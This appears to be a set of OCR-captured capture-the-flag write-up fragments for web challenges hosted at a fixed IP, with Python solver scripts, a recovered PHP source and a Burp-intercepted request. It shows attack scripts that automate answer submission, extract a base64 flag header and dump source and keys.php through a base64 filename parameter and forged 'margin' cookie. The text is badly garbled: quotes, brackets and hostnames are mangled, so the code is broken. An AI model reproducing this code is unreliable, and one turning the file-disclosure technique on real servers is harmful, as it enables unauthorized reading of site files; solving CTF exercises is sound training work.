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import requests
webURL="http://123.206.87.240:8002/qiumingshan/"
session=requests.session

getWeb = session.get(url=webURL).content.decode( 'utf-8"

getNUM = getWeb.split('<div>')[1].split('=?;</div>")[0
num = eval(getNUM
data =

‘value' :num

flag = session.post(url=webURL,data=data).content.decode('utf-8’
print(getNUM

print(num

print(flag
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http://123.206.87.240:8002/qiumingshan/
http://123.206.87.240:8002/web6/

Date: Sun, 10 Jan 2021 12:55:16 GMT
Expires: Thu, 19 Nov 1981 08:52:00 GMT
flag: 6LeR55qEBL+Y5LINGZSZ77yM57uZ5L2gZmxhZ+WQpzogTkRFMUSUQTU=
Keep-Alive: timeout=60
D Pragma: no-cache
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import requests
import base64
getURL = 'http://123.206.87.240:8002/web6/"’
session = requests.session()
getHeadersFlag = session.get(url=getURL).headers| 'flag']
baseDecode = base64.b64decode(getHeadersFlag).decode( 'utf-8")
getBase = baseDecode.split(': ')[1]
getBaseDecode = base64.b64decode(getBase).decode( 'utf-8")
data = {

‘margin’:getBaseDecode

}
flag = session.post(url=getURL,data=data).content.decode( 'utf-8")
print(getBaseDecode)

print(flag)
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import requests
urll = 'http://123.206.87.240:8002/webll/index.php?line="
url2 = '&filename=aW5kZXgucGhw'
res = requests.session()
strPhp = "'
for i in range(0,20):
url = url=urll + str(i) + url2
strl = res.get(url).content.decode( 'utf-8")
strPhp = strPhp + strl
print(strPhp)
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<?php

error_reporting(0);

$file=base64_decode(isset($ GET['filename'])?$ GET['filename']:"");
$line=isset($_GET['line'])?intval($ _GET['line']):0;

if($file=="") header("location:index.php?line=&filename=a2V5cy50eHQ=");
$file_list = array(

'Q' =>'keys.txt',

'1' =>"index.php',

)

if(isset($_COOKIE[ 'margin']) && $ COOKIE[ 'margin']=="margin'){
$file list[2]="keys.php';

}

if(in_array($file, $file list)){

$fa = file($file);

echo $fa[$line];

}

?>
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f Request to http://123.206.87.240:8002

L Forward J L Drop J Intercept is on L Action _J L Open Browser J

Pretty EEUTM \n Actions

1 GET /webll/index.phprline=8&filename=a2V5cy5waHA= HTTP/1.1

2 Host: 1232.206.87.240:80062

3 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:84.0) Gecko/20100101 Firefox/84.0
4 Accept: text/html,application/xhtml+xml,application/xml;q=0.9, image/webp,*/*;q=0.8
5 Accept-Language: zh-CM,zh;q=0.8,zh-TW;q=9.7,zh-HK;q=0.5,en-U5;q=0.3,en;q=0.2

6 Accept-Encoding: gzip, deflate

7 Connection: close

8 Cooklie: margin=margin

9 Upgrade-Insecure-Requests: 1
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